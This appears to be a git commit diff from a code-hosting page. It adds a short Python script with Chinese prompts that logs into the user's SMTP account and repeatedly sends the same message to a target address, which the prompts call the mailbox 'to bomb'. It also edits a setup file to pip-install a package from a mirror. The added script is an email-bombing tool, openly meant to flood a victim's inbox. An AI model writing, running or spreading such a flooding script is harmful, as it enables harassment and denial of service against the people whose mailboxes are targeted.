parent
189af11f07
commit
3b583dcab6
|
@ -0,0 +1,19 @@
|
||||||
|
import smtplib
|
||||||
|
from email.mime.text import MIMEText
|
||||||
|
from email.utils import formataddr
|
||||||
|
import time
|
||||||
|
user=input("请输入您的邮箱:")
|
||||||
|
password=input("请输入您的授权码:")
|
||||||
|
to=input("请输入您想轰炸的邮箱:")
|
||||||
|
subject=input("请输入轰炸的主题:")
|
||||||
|
content=input("请输入轰炸的内容:")
|
||||||
|
msg=MIMEText(content,"html","utf-8")
|
||||||
|
msg["Subject"]=subject
|
||||||
|
msg["From"]=formataddr(("张三",user))
|
||||||
|
msg["to"]=to
|
||||||
|
s=smtplib.SMTP_SSL(input("您的主机"),int(input("您的端口")))
|
||||||
|
s.login(user, password)
|
||||||
|
for i in range(int(input("轰炸多少次"))):
|
||||||
|
s.sendmail(user,to,msg.as_string())
|
||||||
|
print("成功")
|
||||||
|
time.sleep(5)
|
8
环境.py
8
环境.py
|
@ -1,5 +1,9 @@
|
||||||
# 点击运行【安装第三方库.py】,即可安装本课用到的第三方库
|
# 点击运行【安装第三方库.py】,即可安装本课用到的第三方库
|
||||||
# 使用清华镜像源安装amzqr
|
# 使用清华镜像源安装amzqr
|
||||||
import pip
|
import pip
|
||||||
pip.main(['install', 'qrcode', '--index-url', 'https://pypi.tuna.tsinghua.edu.cn/simple'])
|
pip.main(['install','Pyemail', '--index-url', 'https://pypi.tuna.tsinghua.edu.cn/simple'])
|
||||||
|
#pip freeze > huanjing.txt
|
||||||
|
#pip install -r huanjing.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
|
||||||
|
#以上为终端命令
|
||||||
|
#第一条可创建一个叫huanjing的txt文本,txt中有一些第三方库
|
||||||
|
#第二条可下载huanjing中的第三方库
|
Loading…
Reference in New Issue